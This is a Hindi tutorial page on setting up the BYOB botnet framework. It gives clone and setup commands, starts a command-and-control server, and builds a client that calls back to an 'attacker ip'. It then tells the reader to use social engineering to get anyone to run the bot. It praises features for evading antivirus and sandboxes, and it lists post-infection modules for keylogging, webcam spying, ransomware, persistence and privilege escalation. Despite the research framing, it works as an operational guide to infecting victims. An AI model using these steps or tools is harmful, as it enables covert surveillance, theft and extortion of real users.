Computer >> कंप्यूटर ट्यूटोरियल >  >> प्रोग्रामिंग >> Python

अपना खुद का बॉटनेट बनाएं


BYOB सुरक्षा शोधकर्ताओं और डेवलपर्स के लिए एक फ्रेमवर्क प्रदान करता है ताकि वे एक बुनियादी बॉटनेट का निर्माण और संचालन कर सकें ताकि उन परिष्कृत मैलवेयर की समझ गहरी हो सके जो हर साल लाखों उपकरणों को संक्रमित करते हैं और आधुनिक बॉटनेट को जन्म देते हैं, ताकि इन खतरों के खिलाफ प्रतिवाद विकसित करने की उनकी क्षमता में सुधार हो सके। यह डेवलपर्स को RAT या कमांड एंड कंट्रोल सर्वर को स्क्रैच से लिखे बिना आसानी से अपना कोड लागू करने और नई सुविधाएं जोड़ने की अनुमति देने के लिए डिज़ाइन किया गया है।

विशेषताएं

  • डिस्क पर कुछ भी नहीं लिखा जाता - क्लाइंट कभी भी डिस्क पर कुछ भी नहीं लिखते - अस्थायी फ़ाइलें भी नहीं क्योंकि रिमोट इंपोर्ट मनमाने कोड को मेमोरी में डायनामिक रूप से लोड करने और वर्तमान में चल रही प्रक्रिया में सीधे आयात करने की अनुमति देते हैं।
  • प्लेटफॉर्म स्वतंत्र - सब कुछ पायथन में लिखा गया है और जनरेट किए गए क्लाइंट को वैकल्पिक रूप से पोर्टेबल एक्जीक्यूटेबल (विंडोज) में संकलित किया जा सकता है या स्टैंडअलोन एप्लिकेशन में बंडल किया जा सकता है।
  • फायरवॉल बायपास - क्लाइंट रिवर्स TCP कनेक्शन के माध्यम से कमांड एंड कंट्रोल सर्वर से कनेक्ट होते हैं, जो अधिकांश फायरवॉल को बायपास कर देगा क्योंकि डिफ़ॉल्ट फ़िल्टर कॉन्फ़िगरेशन मुख्य रूप से इनकमिंग कनेक्शन को ब्लॉक करते हैं।
  • एंटीवायरस के खिलाफ प्रतिवाद - ज्ञात एंटीवायरस उत्पादों के नाम वाली प्रक्रियाओं को स्पॉन होने से ब्लॉक करके एंटीवायरस द्वारा विश्लेषण से बचा जाता है।
  • विश्लेषण रोकने के लिए पेलोड एन्क्रिप्ट करें - मुख्य क्लाइंट पेलोड को एक रैंडम 256-बिट कुंजी से एन्क्रिप्ट किया जाता है जो केवल पेलोड स्टेजर में मौजूद होती है जो इसके साथ जनरेट होती है।
  • रिवर्स-इंजीनियरिंग रोकें - डिफ़ॉल्ट रूप से, यदि वर्चुअल मशीन या सैंडबॉक्स का पता चलता है तो क्लाइंट निष्पादन रोक देंगे।

इंस्टॉल कैसे करें

  • git clone https://github.com/malwaredllc/byob.git
  • cd byob
  • pip install -r requirements.txt
  • python setup.py
  • यहां दो टर्मिनल का उपयोग किया जाएगा; पहला टर्मिनल बॉट सर्वर होगा जहां सत्र संभाले जाएंगे और दूसरा टर्मिनल बॉट क्लाइंट होगा जहां बॉट बनाए जाएंगे।
  • python server.py --port 445
  • फिर एक और लिनक्स टर्मिनल खोलें और टाइप करें cd /home/cybersecurity/Downloads/byob/byob
  • python client.py --name testbot.py 192.168.1.10(attacker ip) 445

उपरोक्त क्वेरी निष्पादित करने के बाद, एक नया बॉटनेट बनाया जाएगा। उपरोक्त क्वेरी निष्पादित होगी। अब, आप किसी को भी उनके कंप्यूटर में बॉट खोलने के लिए कोई भी सोशल इंजीनियरिंग ट्रिक उपयोग कर सकते हैं। जब टारगेट मशीन में testbot.py निष्पादित होगा, तो बॉटनेट सर्वर में एक सत्र बनाया जाएगा।

पोस्ट-एक्सप्लॉइटेशन

पोस्ट-एक्सप्लॉइटेशन मॉड्यूल जो विक्टिम में बॉटनेट के सफल कॉन्फ़िगरेशन के बाद क्लाइंट्स द्वारा रिमोटली इम्पोर्टेबल हैं।

  • कीलॉगर (byob.modules.keylogger): उपयोगकर्ता के कीस्ट्रोक्स और दर्ज विंडो नाम लॉग करता है
  • स्क्रीनशॉट (byob.modules.screenshot): वर्तमान उपयोगकर्ता के डेस्कटॉप का स्क्रीनशॉट लें
  • वेबकैम (byob.modules.webcam): वेबकैम से लाइव स्ट्रीम देखें या इमेज/वीडियो कैप्चर करें
  • रैनसम (byob.modules.ransom): फाइलें एन्क्रिप्ट करें और फिरौती भुगतान के लिए रैंडम BTC वॉलेट जनरेट करें
  • पैकेट स्निफर (byob.modules.packetsniffer): होस्ट नेटवर्क पर पैकेट स्निफर चलाएं और .pcap फ़ाइल अपलोड करें
  • पर्सिस्टेंस (byob.modules.persistence): होस्ट मशीन पर पर्सिस्टेंस स्थापित करें
  • फोन (byob.modules.phone): क्लाइंट स्मार्टफोन से टेक्स्ट मैसेज पढ़ें/खोजें/अपलोड करें
  • एस्केलेट प्रिविलेज (byob.modules.escalate): अनधिकृत एडमिनिस्ट्रेटर विशेषाधिकार प्राप्त करने के लिए UAC बायपास का प्रयास करें
  • पोर्ट स्कैनर (byob.modules.portscanner): स्थानीय नेटवर्क पर अन्य ऑनलाइन उपकरणों और खुले पोर्ट्स को स्कैन करें
  • प्रोसेस कंट्रोल (byob.modules.process): होस्ट पर वर्तमान में चल रही प्रक्रियाओं को सूचीबद्ध/खोजें/मारें/मॉनिटर करें
  1. अपने YouTube वीडियो कैसे डाउनलोड करें: दो आसान तरीके अपने YouTube वीडियो कैसे डाउनलोड करें: दो आसान तरीके

    चाहे आप उस प्रतिष्ठित YouTube प्ले बटन को पाने का सपना देखते हों या सिर्फ मनोरंजन के लिए कभी-कभार वीडियो अपलोड करते हों, किसी न किसी मोड़ पर आप अपने खुद के YouTube वीडियो डाउनलोड करना चाह सकते हैं। शायद आप YouTube के लगातार बदलते नियमों और विनियमों को लेकर चिंतित हैं और अपनी सामग्री का बैकअप लेना च

  1. अपना खुद का क्लाउड PC कैसे सेट करें अपना खुद का क्लाउड PC कैसे सेट करें

    यदि आप एक ऐसा PC चाहते हैं जिसे आप कहीं से भी एक्सेस कर सकें, तो आपको क्लाउड PC को आज़माना चाहिए। आप अपने फ़ाइलों तक कहीं भी पहुंचने के लिए एक प्राप्त कर सकते हैं या यहां तक कि एक शक्तिशाली गेमिंग PC किराए पर ले सकते हैं ताकि आप ऐसे गेम खेल सकें जिन्हें आपका वर्तमान कंप्यूटर चलाने का सपना भी नहीं दे

  1. अपनी खुद की विकी साइट कैसे बनाएं अपनी खुद की विकी साइट कैसे बनाएं

    विकिपीडिया एक विकी साइट का सबसे बड़ा और सबसे सफल उदाहरण है, जिसकी सामग्री दुनिया के विभिन्न हिस्सों के स्वयंसेवकों द्वारा योगदान की जाती है। इसका संपादन और रखरखाव भी स्वयंसेवकों द्वारा किया जाता है, जबकि कोई भी इसमें योगदान दे सकता है। इसने इसे विश्व स्तर पर शीर्ष दस सबसे लोकप्रिय वेबसाइटों में से ए